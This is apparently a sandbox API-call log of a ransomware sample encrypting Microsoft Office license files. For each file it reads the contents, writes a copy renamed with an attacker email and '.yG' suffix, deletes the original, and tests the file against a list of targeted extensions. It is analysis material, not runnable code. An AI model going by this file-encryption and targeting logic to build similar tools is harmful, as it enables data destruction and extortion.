	[0168.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0168.989] GetLastError () returned 0x0
	[0168.989] ReadFile (in: hFile=0x48c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x5464, lpOverlapped=0x0) returned 1
	[0169.014] WriteFile (in: hFile=0x364, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5470, lpOverlapped=0x0) returned 1
	[0169.016] ReadFile (in: hFile=0x48c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.016] WriteFile (in: hFile=0x364, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x110, lpOverlapped=0x0) returned 1
	[0169.017] SetEndOfFile (hFile=0x364) returned 1
	[0169.017] CloseHandle (hObject=0x364) returned 1
	[0169.017] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.017] SetEndOfFile (hFile=0x48c) returned 1
	[0169.025] CloseHandle (hObject=0x48c) returned 1
	[0169.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1
	[0169.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.034] lstrlenW (lpString=".doc") returned 4
	[0169.034] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.034] lstrlenW (lpString=".docx") returned 5
	[0169.034] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.035] lstrlenW (lpString=".pdf") returned 4
	[0169.035] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString=".xls") returned 4
	[0169.035] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString=".xlsx") returned 5
	[0169.035] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.035] lstrlenW (lpString=".ppt") returned 4
	[0169.035] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.035] lstrlenW (lpString=".zip") returned 4
	[0169.035] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString=".rar") returned 4
	[0169.035] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString=".bz2") returned 4
	[0169.035] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString=".7z") returned 3
	[0169.035] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.035] lstrlenW (lpString=".dbf") returned 4
	[0169.035] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.035] lstrlenW (lpString=".1cd") returned 4
	[0169.036] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0169.036] lstrlenW (lpString=".jpg") returned 4
	[0169.036] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.037] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11163) returned 1
	[0169.037] CloseHandle (hObject=0x38c) returned 1
	[0169.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220
	[0169.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0169.742] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.742] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0169.792] GetLastError () returned 0x0
	[0169.792] ReadFile (in: hFile=0x38c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2b9b, lpOverlapped=0x0) returned 1
	[0169.844] WriteFile (in: hFile=0x360, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0169.845] ReadFile (in: hFile=0x38c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.845] WriteFile (in: hFile=0x360, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0169.845] SetEndOfFile (hFile=0x360) returned 1
	[0169.846] CloseHandle (hObject=0x360) returned 1
	[0169.846] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.846] SetEndOfFile (hFile=0x38c) returned 1
	[0169.921] CloseHandle (hObject=0x38c) returned 1
	[0169.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1
	[0170.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.055] lstrlenW (lpString=".doc") returned 4
	[0170.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.055] lstrlenW (lpString=".docx") returned 5
	[0170.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.055] lstrlenW (lpString=".pdf") returned 4
	[0170.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.055] lstrlenW (lpString=".xls") returned 4
	[0170.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.055] lstrlenW (lpString=".xlsx") returned 5
	[0170.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.069] lstrlenW (lpString=".ppt") returned 4
	[0170.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.069] lstrlenW (lpString=".zip") returned 4
	[0170.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString=".rar") returned 4
	[0170.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString=".bz2") returned 4
	[0170.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.069] lstrlenW (lpString=".7z") returned 3
	[0170.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.070] lstrlenW (lpString=".dbf") returned 4
	[0170.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.070] lstrlenW (lpString=".1cd") returned 4
	[0170.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0170.070] lstrlenW (lpString=".jpg") returned 4
	[0170.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.071] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10635) returned 1
	[0170.071] CloseHandle (hObject=0x350) returned 1
	[0170.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220
	[0170.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.072] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.072] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.073] GetLastError () returned 0x0
	[0170.073] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x298b, lpOverlapped=0x0) returned 1
	[0170.092] WriteFile (in: hFile=0x56c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0170.093] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.094] WriteFile (in: hFile=0x56c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x106, lpOverlapped=0x0) returned 1
	[0170.094] SetEndOfFile (hFile=0x56c) returned 1
	[0170.094] CloseHandle (hObject=0x56c) returned 1
	[0170.094] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.094] SetEndOfFile (hFile=0x350) returned 1
	[0170.099] CloseHandle (hObject=0x350) returned 1
	[0170.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1
	[0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.101] lstrlenW (lpString=".doc") returned 4
	[0170.101] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString=".docx") returned 5
	[0170.101] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.101] lstrlenW (lpString=".pdf") returned 4
	[0170.101] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString=".xls") returned 4
	[0170.101] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString=".xlsx") returned 5
	[0170.101] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.101] lstrlenW (lpString=".ppt") returned 4
	[0170.101] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.101] lstrlenW (lpString=".zip") returned 4
	[0170.101] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString=".rar") returned 4
	[0170.101] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.101] lstrlenW (lpString=".bz2") returned 4
	[0170.102] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.102] lstrlenW (lpString=".7z") returned 3
	[0170.102] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.102] lstrlenW (lpString=".dbf") returned 4
	[0170.102] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.102] lstrlenW (lpString=".1cd") returned 4
	[0170.102] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0170.102] lstrlenW (lpString=".jpg") returned 4
	[0170.102] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.102] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11582) returned 1
	[0170.103] CloseHandle (hObject=0x350) returned 1
	[0170.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0170.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.104] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.104] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.105] GetLastError () returned 0x0
	[0170.105] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0170.107] WriteFile (in: hFile=0x56c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0170.109] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.109] WriteFile (in: hFile=0x56c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.109] SetEndOfFile (hFile=0x56c) returned 1
	[0170.109] CloseHandle (hObject=0x56c) returned 1
	[0170.109] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.110] SetEndOfFile (hFile=0x350) returned 1
	[0170.115] CloseHandle (hObject=0x350) returned 1
	[0170.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1
	[0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.117] lstrlenW (lpString=".doc") returned 4
	[0170.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.117] lstrlenW (lpString=".docx") returned 5
	[0170.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.117] lstrlenW (lpString=".pdf") returned 4
	[0170.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.117] lstrlenW (lpString=".xls") returned 4
	[0170.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.117] lstrlenW (lpString=".xlsx") returned 5
	[0170.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.117] lstrlenW (lpString=".ppt") returned 4
	[0170.117] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.117] lstrlenW (lpString=".zip") returned 4
	[0170.117] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.117] lstrlenW (lpString=".rar") returned 4
	[0170.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".bz2") returned 4
	[0170.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString=".7z") returned 3
	[0170.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".dbf") returned 4
	[0170.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".1cd") returned 4
	[0170.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0170.118] lstrlenW (lpString=".jpg") returned 4
	[0170.118] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.119] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19927) returned 1
	[0170.119] CloseHandle (hObject=0x350) returned 1
	[0170.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0170.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0170.217] GetLastError () returned 0x0
	[0170.217] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0170.343] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0170.345] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.345] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.345] SetEndOfFile (hFile=0x558) returned 1
